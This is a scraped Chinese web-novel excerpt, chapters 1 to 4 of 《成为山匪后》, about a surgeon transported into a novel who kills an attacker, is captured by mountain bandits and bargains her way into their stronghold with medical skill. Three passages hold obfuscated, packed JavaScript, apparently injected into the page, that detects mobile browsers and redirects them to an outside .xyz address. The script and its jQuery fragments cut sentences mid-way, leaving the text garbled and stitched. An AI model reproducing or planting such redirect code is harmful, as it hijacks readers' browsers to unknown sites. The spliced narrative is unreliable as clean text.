《成为山匪后》 1. 穿越 徐青茹是被一阵尖锐的叫喊声吵醒的。 她揉了揉双眼,日光如流水般倾泄下来,眼眸中的场景正由模糊专向清晰—— 山林苍苍,纤凝悠悠,积石如玉,列竹如翠。 而密林之中,一个身材魁梧的壮汉正蛮横地撕扯着一个古装打扮姑娘的衣裳,女孩手脚挣扎着,发出绝望的呼救声,但这一切并不能阻止男人粗鲁的动作。 古树虬枝错落,野草随风而动。 徐青茹的动作比意识更快,她扫一眼四周,抓住身旁的尖锐石块,一步作三步,没有任何犹豫、用力地砸向那男人的脖颈。 一刹那间,鲜红的血液争先恐后地涌了出来,男人感受到尖锐的疼痛,不可思议地转过头来,却见到只是一名弱女子。 “臭婊子!你他妈活得不耐烦了,那老子就先解决你。” 男人一把将徐青茹拽到跟前,狠狠地扇了她一巴掌,那股粗壮手臂的蛮力直接让徐青茹摔倒在地面上,手中渗出几丝鲜血,她骤然意识到自己犯了一个重大的错误:她没有找准时机一击毙命。 紧接着,男人又来一边摁住她的脸颊,一边撕扯她水蓝色的精致锦衣,求生的本能让她拼命地击打着男人的头部,但换来的只是男人更用力地压制。 徐青茹趁着缝隙间看向那名刚刚被她救下的女孩,翕合着唇——但女孩却惶恐地站在一旁,咬着唇,眼神躲闪,男人似乎想到什么,突然转过头来狠狠地瞪了那女孩一眼,女孩一声尖叫跌坐地上,面色苍白、浑身颤抖,片刻她又磕磕绊绊地站了起来,眼神凄哀地看了眼徐青茹后,竟是头也不回地、跌跌撞撞地一直向密林深处跑去,直至完全消失。 一瞬间无数种情绪在徐青茹心中交汇,但她知道眼下不是自怜的时候,她必须依靠自己快速地冷静下来,幽林、华服、古代......灵光一闪,她借力将头碰向靠近的石块,片刻之后一声极小但清脆的碰撞声传入耳中,徐青茹心中便有了些许计谋。 她减小挣扎力度,渐渐放松自己的身体,好让这厮能够专注于她的脖颈之下。 “哟,想明白了?那就好好伺候大爷我!”察觉到女子的反应,男人语气秽亵,露出征服猎物的快感,动作愈发急不可耐——但,要想成为真正的猎手,就必须让猎物相信他才是狩猎者。 ! 就是这个时候,徐青茹借机挣脱男人的桎梏,毫不犹疑地从头上拔下金簪,发丝被拉扯的痛意让她更为清醒,金簪尖锐的一端像毒蛇般直接咬上男人的脖颈,这一次,徐青茹速度极快,完全没有仁慈和给对方反应的时间,男人眼中透露出不可置信的震惊,但,为时已晚,看起来娇弱美丽的女子早已用力将金簪拔出,猛地再次插入同样的地方,一次、两次、三次......直到徐青茹感到自己的手已经发麻发烫,直到眼前之人身体僵硬,再也没有动作,她才慢慢停下,稍微缓了口气。 死亡已经降临。 猎物终究一步一摇地踏入了那个陷阱,死在他以为的柔弱猎物手中。 徐青茹随意地整理了一下衣裳,额头冷汗连连,她虚弱地躺在地面上,脑中的神经却一直紧绷,不敢松懈片刻,一息之后,她隐约听见一阵细微的脚步声,是柔软的鞋底匆匆踏在泥土之上,穿过林草的动静。 徐青茹微微挪动身体,让自己靠着一参天大树上,隐去身影。她屏住呼吸,再次握紧金簪,准备随时给来者一击。 什么天崩开局,她倒宁愿回到昨天被医室主任训骂的时候,至少没有生命危险...... 脚步声越来越近,正当徐青茹咬紧牙关,蓄势待发之际,包含惊讶又恐惧的的声音蓦然响起: “你竟把他杀了?!” ——是刚刚那个逃走的女孩。 徐青茹脑海中思绪快速转动,握着金簪的手用力攥着,似乎要拧出血与汗,然而未等她有所动作,那名女孩已经跑到她面前,面容惶惶,又带着少许畏惧:“救命之恩桂月心中铭记,但对......对不起,奴只是,奴只是太害怕了,奴肯定打不过他的,还不如先跑了去喊官爷,奴不是故意不救姑娘你的......” 这树林里哪里能找到什么官兵? 只不过看着打不过便想跑了,留着徐青茹在那还能拖延一会时间。 说到这,名为桂月的女孩似乎也知道自己的话并不靠谱,心虚起来,换了个话题,指了指树林那头:“奴往着那条路没走多久,就发现前面是一个湖泊,那湖延伸至外几百米,看不见头,奴不会凫水,这里又没有别的路,那群山匪也不知道什么时候就会找过来,压根就逃不了,奴就想着回来看看,看能不能帮上姑娘,没想到姑娘你直接......” 她也没有想到徐青茹竟然真的把那人给杀了。 这姑娘看着柔柔弱弱,竟然是个不要命的! “你过来一下。”徐青茹忽地出声,语气虚弱却不容反抗。 女孩一顿,神色警惕,她不知眼前的女子想要干什么,但想着其刚刚直接解决掉一个男人,便心有戚戚,也不敢违背,只好战战兢兢地走到徐青茹身旁。 徐青茹没说话,只是一把扯住女孩的衣袖将她拉得更近,然后把自己手中紧攥得金簪塞到女孩手中,平静地看了她一眼,接着便握住女孩的手,突地将金簪用力地、一次又一次地插入男人的胸口,不一会儿,暗红色的血便再一次“咕咕”地从伤口处流了出来,将其衣裳染成深黑色。 “这是何干!”女孩尖叫道,惊恐失色。 徐青茹停下动作,抬头淡然地看着这位似乎才十七八岁的姑娘:“可看清楚了?此人,你我共杀之。” 女孩一惊,拂开徐青茹的手,金簪被扔到一边。 “不,不是,奴什么也没有做!姑娘何苦要害奴!” 她敛眸,声音温和但又包含锋利:“你觉得,杀了人的人,会有多大可能在这死人身上再添一道伤口?” “至少有两人,这尸体上的伤口才能有了解释,更何况,你,动机充足。” 徐青茹起身走去捡起金簪,继续言道:“不过,眼下最重要的,是处理这人的尸体,最好能把他丢到湖里,否则,等那些山匪跟了上来,看到他们同伙被杀,还是两个女子所杀,你觉得这些恶徒会放过我们吗?” 拉眼前女孩下水,一方面是她之前得了恩惠却见死不救,另一方面也是这男子的尸体搬运亦需一个帮手。 女孩听了她的话,脸色变了又变,却不再说话。 片刻过后,两人合力将这厮的尸体搬去湖边扔进水中,路上,徐青茹将男人身上衣服扯下一大半,堵住伤口,又铺上枯枝落叶,避免留下相关痕迹。 这些事务做完后,徐青茹快速整理好自己的衣服,将染上血迹的地方撕去,沾上些泥土、树叶,又将金簪用湖水洗了又洗,才放到袖中,隐藏起来。 那女孩在旁边看着,没说话,只是也学着她的动作,仔仔细细地整理了一番。 正待徐青茹想向女孩问道现今究竟是何情况之时,就听到了不远处的山林传来一丝轻微的动静,似惊鸟振翅。 不好! 徐青茹反应迅敏,一把扯过还在呆愣的女孩,用手指了前面一个方向,低声说:“你向那头跑,我往这头,若不幸被抓,切不可提及此事,否则你我皆有杀身之祸,马上!” ——离她们抛下尸体的地方越远越好。 徐青茹说完,两人分别往不同的方向跑去。 徐青茹强忍着身体疲倦,拿出了上学时期跑八百米的劲,忽然,她听到远处传了一声惨叫,徐青茹一怔,心头发紧,行动慢了一瞬间,一个少年如幽灵般出现在她前面,衣袖振落,融入山林。 少年很高,莫约及冠,穿着一身藏蓝色云绣底纹衣裳,扎着高马尾,肤色白皙,眉眼绮丽而冷淡,薄唇轻抿,手上拿着一把锋利无比的短剑,短剑的尖端渗出暗红色的血液。 徐青茹心中警铃大作,此人散发出的危险性远甚于之前被她反杀的那位山匪,她不由连连后退几步,手中死死攥着那支金簪,呼吸急促,坚毅的眼神中大有鱼死网破之意:“你......你别过来!” 少年看向她,微微偏头,那是一双极为精致的眉眼,漂亮深邃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935205|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,乌黑如玉,若不是在此情此景,徐青茹必会好好欣赏一番,但眼下只觉得冷血渗人。 少年未有其他动作,只是姿态娴雅地把玩着那把短剑,见她如临大敌,一副要和他同归于尽的模样,不由觉得有些新奇。 “小栾爷!逃跑之人皆已捉拿!“一壮汉骤然出现,抱拳禀道,打断了此刻诡异而紧张的氛围。 他嗓音掷地有声,忽转眼看到徐青茹,脸色一变,“竟还有一位,是属下疏忽!请小栾爷责罚!” 被称为小栾爷的少年听到此话,身上的气场似乎有了微妙的转变,他看了一眼那壮汉,神色带了点难以察觉的厌烦,又看向徐青茹,眉眼比之前更加淡漠,“带回去。” “是!” 话音刚落,少年转身离开,衣袂翩飞,身形如魁魅,片刻便了无踪影,只留下徐青茹汗出如渖,神情微怔:刚才那个人,到底想不想杀她? 徐青茹被前来的壮汉捆住双手,押到过山的官道上,之前的女孩早已被押在那,脸庞高高肿起,眼泪和鼻涕控制不住地往下流,看到她来,泪光闪烁,眼中透露出一丝绝望。 这里早已有三十几个悍匪守着,围住几轿子货物,各拿一把武器,凶神恶煞。 其中,为首的竟是一个穿着白色衣服的女人,脸庞瘦削英丽,鼻梁高挺,眼角处带了一条蜿蜒至耳背的伤疤,剑悬腰间,十分高挑,手慢慢地敲打着旁边的轿子,由内而外透露出一股阴森不耐烦的劲儿,而站在他旁边的正是刚刚那个少年,他正低着头,十分专注地用一白布擦拭着那把漆黑锋利的短剑,半点眼神都未分给他人。 地上林林总总地躺了十几具尸体,大多一刀毙命且几乎都是汉子,余下的几位老人与丫鬟被封了口条捆绑在地上,头发凌乱。 过了片刻,又有一些人押着几个逃跑的人回来了。 这里面领头的那位倒是奇怪,打扮得不像是个土匪,倒像是个书生,人长得白净,拿着一把扇子,嘴角微微含着一丝笑意。 见地上那些被捆住堵了嘴的妇女,摇了摇头看向穿白衣服的女人,露出怜惜的神情:“二当家,您这真是不会怜香惜玉呀。” 然而只得那白衣服的伤疤女轻蔑地勾着唇,阴阳怪气地笑了一声。 “罢了罢了。”书生似的山匪换了个话题,用扇子指了指身旁被捆住的管事,“这老头子赶着去通风报信呢,要我说,就得把他舌头割了。” 白衣服的伤疤女人微掀起眼皮,“这等蝼蚁,杀了便是。” “二当家,留着他,打听打听城阳王的事,不更好?” 白面书生般的山匪晃了晃扇子,风度翩翩,嘴角带着一丝笑容。 城阳王......徐青茹略感这名字有些耳熟,似乎在哪里看到过。 “放屁!做你们的青天白日梦,我是不会说的,等着城阳王过来将你们全都剿灭了!一群王八羔子竟在这山里称起大王来!”这老人大声吼到,声音从胸腔中爆发而出,带着鱼死网破的嘶哑。 “闭嘴,老不死的,你能提供点城阳王的消息是你的福气!”一人大声喝道。 “我呸!你们这些山寇,迟早会被绳之以法!到时候可别哭爷爷告奶奶!” “你!” “啰嗦。” 话音刚落,白衣服的女人手腕蓦地一振,刀剑出鞘,一个呼吸之间,那剑便已刺入老人的胸脯。 一大口鲜血从老者口中喷了出来,在夕阳光辉的照耀下宛若散开的星火。 相隔最近的山匪突地后退一步。 料谁也没有想到,这个女人直接把人给杀了。 徐青茹呼吸微顿,心中更是一惊,但面上不显,只是静默着,等待转机。 而白衣服女人只是淡漠地看向自己袖口——上面有一小块被浸染了血迹,变得污秽。 “真脏。”她眯着眼,嫌弃地拂了拂袖。 “你,你你......”白面书生似的山匪看着这人不跟任何人商量的行为,脸色有些难看,过了好一会才摇着扇子说道,“二当家您这可真是......威风凛凛啊。” 2. 第 2 章 会医术 “......张皮子呢?这厮恁地还没回来,只差他一个了!”有人骤然出声问道,打破了片刻的沉寂。 众人面面相觑,“不知道,他没说去哪了啊。” “......那小子不会偷懒去了吧!他奶奶的,等那张皮子回来,非得打他一顿不行!” “平日里也就算了,现在让二爷在这等着,我看他是不想活了!” 这群山匪的声音此起彼落,徐青茹立马意识到他们所说的张皮子就是不久前她杀了的那个男子。 于是徐青茹低着头,蜷缩着身体,尽量降低自己的存在感。 好在,他们说了半天也没有扯到她和那女孩身上,徐青茹不由稍稍宽心。 忽然,不知道谁提到,张皮子往树林那边的方向去了,押着那个女孩的山匪立马反驳到,“放你娘的屁,老子就是从那将这个女的带过来的,就没看到张皮子一根毛!” 此话一落,场面突然安静了一会。 徐青茹心中暗道不妙! 控制着徐青茹的壮汉似乎想到什么,看向徐青茹,也突然出声道:“这小娘子,刚刚也是从树林方向带来的!” 那男人一噎,意识到什么,气势减弱不少,眼神怪异地看向那个女孩,又看向徐青茹,“跟这两个娘们有关?张皮子那人壮得跟头牛似的,能被女人害了?”说完,又仔仔细细地打量了她们一番,确实是两个再瘦弱不过的女子。 徐青茹大脑飞快转动着,三十六计演为上计! 于是少女抿着唇,眼圈逼出些红意,声音哽咽:“各位好汉,我们两位只是弱女子,往外面逃,也只能向那树林方向走走,难道还走这官道不成,这又有何关联呢,况且,我们怎么敢,又怎么能害了你们兄弟......” 少女明眸中似乎氤氲着秋水,身姿袅袅如蒲柳,模样愈发楚楚可怜,被捆住的女孩看着,一时也惊讶起来。 但她反应迅速,很快便意识到徐青茹的意图,接过话头,抹了把本来就存在的眼泪,“是啊是啊,各位爷,不知道这位张皮子爷怎么也往树林那方走了,但奴确实没有见过......” 两个十七八岁的姑娘哭得梨花带泪的,众人心中的天平倒是倾斜了不少。 徐青茹一边抽泣着,一边察觉到一股阴森阴冷的视线落到她身上。 “你。”穿着白衣服的伤疤女冷突然出声,声线嘶哑尖锐,“你衣服怎么被撕烂了?” 不好! 徐青茹心中警铃大作,这是她最不愿意被提及的一个问题,她紧紧攥住藏在袖口中的的金簪,直至磨出血丝。 疼痛由手指蔓延至头颅,使徐青茹更为清醒。 少顷,她才说:“逃跑的路上,不小心摔了一跤,衣服刮烂了,头发也散了,身上都是泥巴叶子,民女嫌弃麻烦,便撕了下来。” 静默了会。 “撒谎。” 简短的二字,徐青茹心中却涌现出一股空前的绝望,掩藏在袖中手不受控地发抖。 现在要如何破局? 她还有生路吗...... 正待徐青茹微微抬头,欲继续解释之际,那个书生模样的山匪忽不紧不慢地开口了:“二当家,今日容我宋某说句公道话,这天底下,虽然像您罗斩秋这般舞刀弄枪的女中豪杰不少,但这两个姑娘嘛,一看就是娇生惯养的,怎么可能杀得了那平日里力大如牛的张皮子,用脚指头想想都不可能嘛。” 说完,又带着笑意地看向徐青茹:“姑娘你别怕,我虽然是山匪,但跟这些人不一样,我嘛,向来就讨厌对女人用那些打打杀杀的手段,更何况,还是你这般美貌的小娘子。” 城阳王府、罗斩秋、山匪...... 徐青茹终于想起来她这是在哪里了,她穿越进了一本前不久看过的古代言情小说中。 这本小说讲的是名门闺秀顾轻云在被山匪绑架后惨遭许家二郎退婚,顾轻云不在乎他人讥笑与羞辱,主动与前来剿匪的城阳王世子商讨山匪事宜,在携手剿匪的过程中两人暗生情绪,而后又经历多重磨难,最终成就佳话的故事。 故事不错,但徐青茹印象最深的还是开篇被一笔带过的炮灰女配——主要因为这个女配与她同名同姓。 家道中落的富商千金徐青茹父亲忽然离世,为了一张多年前的婚约,她从汉林前往云州,欲投奔外祖母。因父亲曾与城阳王府上的人有些联系,徐青茹便同着城阳王府的人一起前行,保证路途安稳。 然而,路过鹧鸪山时,这一行人却被一群来自杏花寨的山匪打劫,这些山匪穷凶极恶,阴险狡诈,被官兵发现时,整个队伍二三十余人,无一人生还,并且,徐青茹和一众年轻女子尸体还有被奸-淫的痕迹,这引起了云州之地的高度恐慌,也正因为此事,之后朝廷才会派出城阳王世子前来速速剿匪。 徐青茹本来是想着做完手术后消遣的,结果一本书翻下来,脑子里面只有与她同名同姓的女配的悲惨遭遇,结果,没过多久,她就直接穿进这本小说中,成为徐青茹本尊。 而刚刚那山匪提到的罗斩秋,也是除了原主徐青茹以外,她第二印象最深的人,主要是书中描写她虽是女子,但体力不比男子差,而且杀人如麻,喜怒无常,看得徐青茹一边有些佩服,一边又心有畏惧,但对于那个小栾爷,她倒不记得书中有描写过这样一个深刻的人物,难道是她看漏了? 徐青茹心中闪过一丝悔恨,什么玩意,早知道就不看这小说了。 根据书中故事走向,肯定是发生了什么才会使得这些人全部死亡,但是原书中剿匪只是促进顾轻云和城阳王世子认识的一个剧情点,并没有作过多详细的描述,只有一些重要转折点......而且这些,也与现在的徐青茹无关。 想到这,徐青茹强迫自己立刻镇定下来,她虽心中不适,但仍看向那白面书生模样的山匪,微微点头,露出一个乖巧的笑容,算是回应。 但这颗心,仍然还是七上八下,始终高悬着放不下来。 此时,又有人出声问道:“二当家、三当家,那管事的死了,这些人,咱们怎么处理?” 杀了几乎全部的汉子和少数几名女子后,这队伍中只剩下封着口条的老人,姑娘,还有几名小厮。 那位书生般的山匪听到这话,顿了顿,眯着眼睛随意用扇子指了指几个,作了个抹脖子的动作,紧接着,几个山匪刀剑提落,尖锐之物刺穿肉-体的“滋啦”声以及对死亡恐惧的惨叫声猛地碰撞在一起,似乎要刺穿徐青茹的耳膜。 一人哭着叫喊着,只要让他活下去,便是什么事都能干,什么话都能说,但这人话还没说完,便被一剑刺穿了喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“此外,家父已离世,此番前去云州也只是依附外祖母,现遭遇......此一劫,不知外面的人将如何言论于我,民女不如直接入了山寨,也守得一番清净。” “你,不害怕?”少年声音清冽,乌黑如玉的眼眸中闪过几丝探究。 怎么会不害怕?进入山寨意味着要和这些穷凶极恶之人打交道,一个不慎就万劫不复,但她实在别无办法,留在原地等死的结局是她不能接受的。 徐青茹点点头,眼神中流露出一份义无反顾的坚定:“我害怕,但并不后悔。而且,我一介弱女子,即使进了山寨,也无力反抗诸位,要杀要剐,不过各位好汉的一句话罢了。但我的医术,或许在某些时候,确实能够救命。各位,这份交易,并不亏。” 是的,徐青茹说的没错,让她一个手无寸铁但会医术的弱女子进入山寨,百利而无一害。 所以,他们应该会让她一起走吧? 但—— 为首的女人只是拍了拍衣袖的灰渍,似乎没有听到徐青茹的话语,眯着眼抬头看了看,随口说了一句,“天黑了。” 旁边的人立马附合到:“二当家,咱们得赶紧走了,要不然大当家该问责了。” 3. 第 3 章 入寨 徐青茹心头一紧,没有想到这罗斩秋竟然如此难商讨,没有流露出一点心动的意思! 眼看这群人马上要离开了,她脑中突然回忆起一个书中细节,急忙说:“等等!等一下!民女可以治疗肺痨!” 书中曾简短地说过,杏花寨大当家单貂对其母十分孝顺,母亲患肺痨之后,暗地请过几位江湖名医给老夫人看病,用各种珍贵药材养着,但老夫人的病一直不见起效,这位大当家后面还放出话来,谁能治好他母亲,便赠黄金万两,因此,尽管多数人畏惧其凶名,也总有一些贪财不怕死的前来治病,只可惜这些人均以失败告终,不久后老夫人便离世了。 此话一说,罗斩秋果然停下了脚步,各人神色各异。 “你是说,你会治肺痨?”声线被拉长,平添一份阴冷。 “有六七分把握。” 虽然她拿不准老夫人病情如何,但以她在现代的医学经验,应该也能搏上一搏。 此话一出,周围一片哗然,更有人出声高曰:“荒谬!就是华佗在世亦不敢如此狂妄,这小娘子怕是唬我们的罢!” 徐青茹心跳如鼓,但一双明眸仍然坚定沉稳,道:“如若民女能见到患病之人,切实了解情况,把握亦可在七分以上。” 七分! 经验老道的医者都不敢说自己有七分把握。 这女娃娃如此自信,难道真是个神医? 众人看她的眼色少了一份轻视,多了一份考量,毕竟有一位医术高超的大夫在山寨,对他们这种在刀尖上舔血的日子的人,无疑是一种保障。 那书生模样的山匪看向罗斩秋,开口劝言:“既然这位姑娘说能治肺痨,不如让她试试老夫人的病?若真能成功,大当家的也不如夜夜忧心了。” 女人没回答,眼神如毒蛇般慢慢滑过徐青茹的脸庞,引起她一激灵,然后游移到身旁矗立的少年,“小栾爷,你说呢?” 徐青茹看到罗斩秋将选择权交给那个少年,面容上出现一丝裂痕,虽不知之前为何他没有杀自己,但那带血的刀尖表明,这少年绝非什么活菩萨。 徐青茹的心高高悬着,掐着手心,像是等待最终的宣判。 那藏蓝色衣裳少年看着懒散高傲,一副看好戏的模样,这时却突然勾唇淡笑了一下,眉眼舒展开来,恰如冬日艳梅,生动昳丽。 他道:“既然如此,让她试试。” 竟然是允了?! 徐青茹的心一下子从最高处垂直下降,猛地落到平地,她差点没有回过神来。 “好啊!既然小栾爷许可了,你,便跟着我们回去。”罗斩秋说完偏头示意了一下,徐青茹身旁的山匪立马会意,不知从哪里掏出来一条深蓝色的长条麻布,麻利地给将徐青茹的眼睛蒙上。 见到徐青茹即将跟着进入山寨,沉默了良久的女孩突然出声,带着哭腔:“奴,奴可不可以跟你们一起去?奴会洗衣做饭端茶倒水,还能做豆腐,奴什么都能做,求求各位爷,也收留了奴吧!” 听到这话,女人突然发出一声阴冷的笑声:“当我们这客栈么,想来就能来,嗯?” 女人那股冰冷死亡的气息太过于明显,女孩也没有想到是这样的反应,不禁全身发抖起来,吓得一句话也不敢再说。 “诶呀!二当家!你何必这么凶呢!”那书生模样的山匪又赶忙出来打圆场,接着便转头对那女孩说,“好姑娘,别担心,这不先让二当家和栾小爷带着东西先走,怕大当家的等不及,你们这些剩下的姑娘呢,跟着我们晚一步回山寨,看看张皮子那小兔崽子什么时候来,别担心,都能进山寨的!” 说到后面,这山匪又笑了起来,看着是副和善温煦模样。 女孩嚅着声音点了点头,眼中流露出少许依赖。 等等! 不对! 剩下的人不是在这里被杀害的吗,怎么还有进山寨这么一事,难道......徐青茹捋了捋原书内容与现在事情进展,区别有二,她杀了张皮子,她说自己会医术能治肺痨,所以能跟着罗斩秋进入杏花寨,难道......她改变了这些人的命运,成功地拯救了她们? 徐青茹察觉到隐隐约约有一团雾,掩盖了事情的真相。 然,她早已被押着,踏上了前往山寨的路。 * 鹧鸪山地处云州与西南交界之地,地势险要,易守难攻,这些山匪一般是杀抢官家粮食、货运,但偶尔来了性子也会随意挑个日子,不由分说地抢了过路鹧鸪山行人的货物,是真正无视法律的穷凶恶徒,但偏偏,就着杏花寨的独特位置,每次剿匪都节节败退,官府对他们恨之入骨又无可奈何。 徐青茹双眼蒙住,途中被一位身强力壮的山匪扛着,难以窥探前往杏花寨的山路,只是先山风穿行,带来阵阵呜咽,而后又鸦默鹊静,唯踩在厚厚落叶上的脚步声清脆规律。 不知过了多久,徐青茹只觉得自己快要昏睡过去时,一行人在一石垒门前停下,那大门估约有两丈高,一丈宽,看起来十分气派雄伟。上面有人问道:“人从何来?” 那声音如波纹般在空中回荡,久久不停息。 下头有人仿造布谷鸟的叫声,三长一短。 上面又问:“人去何地?” 回应为四长一短。 双方人马对好暗号后,大门才缓缓被拉开,发出厚重磅礴的声音,一行人浩浩荡荡地走了进去。 一进杏花寨,徐青茹便直接被带入大当家单貂的主房,也就是这群山匪议事的大堂。 两侧墙壁挂着五张油亮的黑熊皮和五张暖色的豹皮,分外宽敞,几根白色的粗壮蜡烛摆放于高台之上,火光摇曳,映照出位坐上端之人的模样。 押着徐青茹的壮汉一把扯掉她眼上的布条,声音粗犷有力:“大当家,人已带到!” 所谓山寨的大当家,正坐于房中一把被做得极其宽阔、垫着虎皮的宽塌上,肤色粗黑,五官深邃,毛发浓密,十分威严魁梧,其背后挂着一副巨大的虎啸山林图,威风凛凛,这两者相互交应,仿若置身于凶险虎穴之中。 单貂两旁,各坐了四人,其中,那名为罗斩秋正坐在左首第一位,第二位的位置被空了出来,而年轻的少年则坐在右首第一位。 见着这些个山匪凶恶的气派,徐青茹紧了紧神,忍住心中的恐惧与不适,仿照着以往看过的影视片段,向这些人一一行了个礼。 单貂视线极扫过徐青茹,拿起眼前的烈酒大喝一口,却未曾说话。 对于徐青茹要进山寨的缘由,早就有人汇报给了大当家,只是事关老夫人的病,多少要试探一番。 屋内氛围似乎被胶住,徐青茹屏气凝神,心中波澜四起却并不表现,她衣袖中的手紧紧握住金簪,一顿一顿的疼痛让她清醒和被感知。 “不要慌徐青茹,你会医术,你治好老夫人的病,你将会成为这位大当家的恩人,你会避免原书中悲惨的命运,你进山寨才是唯一的生路,别害怕......”她心中默默絮念着,强迫自己冷静再冷静。 “你懂如何治病?”突然一声粗沉的声音,单貂两只眼睛像鹰般地紧盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935207|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐青茹,他旁边的那些个山匪,除了罗斩秋和那位少年,也同样凶狠地瞪着她。 来了! 徐青茹按捺住心中的惧怕,神色从容自然,把之前说过的话又再说了一遍。 然而,听完她的回答,单貂并未表现出任何多余的神情,只问道:“叫什么名?” “民女名为徐青茹。” “多大?” “十八。” 徐青茹并不知晓原主的真实年龄,只囫囵着答了一个。 “呵!”高大粗犷的男人突然哈哈大笑,笑完后捋了一下胡子,傲慢轻视地看向徐青茹,“十八岁的丫头片子,也敢说六七分把握?” 此话一出,单貂旁边人的气势更盛,压得徐青茹有些喘不过气。 她内心愈加紧张,表面却是不显,还带了些许自豪:“医术往往与两者有关,一个是天赋,一个是经验,民女经验不足,但天赋足矣,大当家大可先让我一试,若不行,再处置民女也不晚。” 当然,医术与什么有关,这是她胡诌的。 单貂的眼神从她身上移开,打了个手势,下面的人便领命带了一位白发苍苍的老者进来。 “张大夫,问问。” 这位老者是江湖上一位有名的游医,这会儿竟被杏花寨抓了过来。 老者抚了抚白须,见是一个小丫头,不由心中腾升起一股轻视:“就让老夫来问问你。” “先生赐教。” 然,尽管面对的是经验老到的医者,徐青茹仍对答如流,言之成理,她的心也慢慢地沉稳下来。 老医者听着她的回答,神情愈显柔和,听到最后竟直点头,激动地夸赞起来,起了惜才之意:“小小年纪,便对医术研究得如此透彻,假以时日,必成大器。” “不敢。” 如此,徐青茹便知晓自己稳了一半。 听到老者的夸赞,上面那些恶徒的神情才稍稍有所变化。 单貂也敛了神色,眉眼中有了认真之意,对一旁的人嘱咐道,“既然如此,那明日佑儿你带着她去看看,看是否真的如她所说,能治好老夫人的病。” 话语之中,不乏警示。 那名叫做栾佑的少年听到此话,这才转过头来看了徐青茹一眼,随后敛眸,清冷散漫地“嗯”了一声。 徐青茹的神色亦是镇定从容,也应了一声:“青茹必不辱使命”。 随后,单貂摆了摆手,押着徐青茹的山匪便带着她离去,只是先前是押着进来,这会儿却对她说了句“请”。 房中依然明亮,应是还在商论其他事宜。 徐青茹被带到一个一座窗户开得老高的石屋之中,外面的一切情形都被隐匿起来,整个石屋阴沉昏暗,冰冷孤寂。 “徐小姐,您先住在这,等明天去看了老夫人的病后,再安排房间给您。” 带她来的山匪如是说道。 徐青茹点点头,便听到门“哐嘡”一下关上的声音,她不由打一个喷嚏,慢慢走到一个角落处,稍微整理了一下地面上的杂物。 她在现代的时候是一个孤儿,在孤儿院院长的抚养下,她上了大学,读了研究生博士生,最后进入医院,在医院兢兢业业地工作了三年,马上就要升职之际,竟然穿越进小说里面,还成为一个出场没有多久就死亡的炮灰,现如今又落入这虎穴狼窝,无依无靠,徐青茹不由感叹一句自己真是命运多舛! 徐青茹叹了口气,今日这一天的精神劳动,使她感到无比疲倦,抱住自己蜷缩在一边墙角,不久后便入睡了。 4. 第 4 章 看病 翌日晨曦起来,徐青茹的头有些眩晕,整个人迷迷糊糊,她抹了抹眼睛,突然一张极为俊俏年轻的脸庞出现在她眼前,她“啊”地叫了一声,整个人不自主地向后退去。 “我长得很凶?你见着害怕?”少年半蹲着,左手撑住下巴,声调懒洋洋的,但乌黑如玉的眼却认真地看向她,似乎真的好奇自己的长相是否凶恶。 徐青茹捂着胸口,缓了缓神,才发现眼前这人是昨天在山林中突然出现的容貌俊美、刀尖带血的小土匪,只是他换了身玄色银细花纹底锦服,头发以木簪束起,皮肤白净,身形清瘦,姿态悠散,便一下未曾认出。 但认出后,她便更害怕了。 然徐青茹面上不显,还摇了摇头,声音带着些刚刚起床的嘶哑:“没有没有,民女刚刚睡醒,一时没有反应过来。” 少年随意地“嗯”了一声,变戏法般地从右手掏出一个白面馒头递给她:“喏,吃个早饭。” 徐青茹这才意识到,从昨天下午到现在,她没有吃过一口东西。但,这东西不会有毒吧...... 似乎察觉出徐青茹的犹豫,少年垂眸,轻轻撕下一小片馒头细碎,放入嘴中,鲜红的舌头露出一点,再次将馒头递给她。 她愣了愣,心中奇怪他的动作,但难以忍受的饥饿让她无法再犹豫,徐青茹低声道了声谢,不客气地从少年手中拿过那个馒头,狼吞虎咽地吃了起来,现代的时候她是最不喜欢吃馒头的,干巴巴的,难咽得很,但是到了这,徐青茹只觉得她吃的不是馒头,而是什么凤髓龙肝。 见她吃着,少年便站了起来,在这石屋里转悠了一会,发现实在没有什么可看,便拿出自己的短剑掂量几下,聊胜于无地把玩着。 吃到一半,徐青茹突然想到什么,这厮似乎昨天被大当家安排带她去看老夫人,于是抬头问道:“我们什么时候去看老夫人?” “等你吃完。”少年勾着唇回答,手中的动作不停,阳光透过高窗照在他身上,半边明亮半边清冷,使得这黯淡的石屋中忽地熠熠生光。 徐青茹点点头,继续吃了起来,但吞咽的动作幅度比之前小了不少,人也慢慢清醒起来。 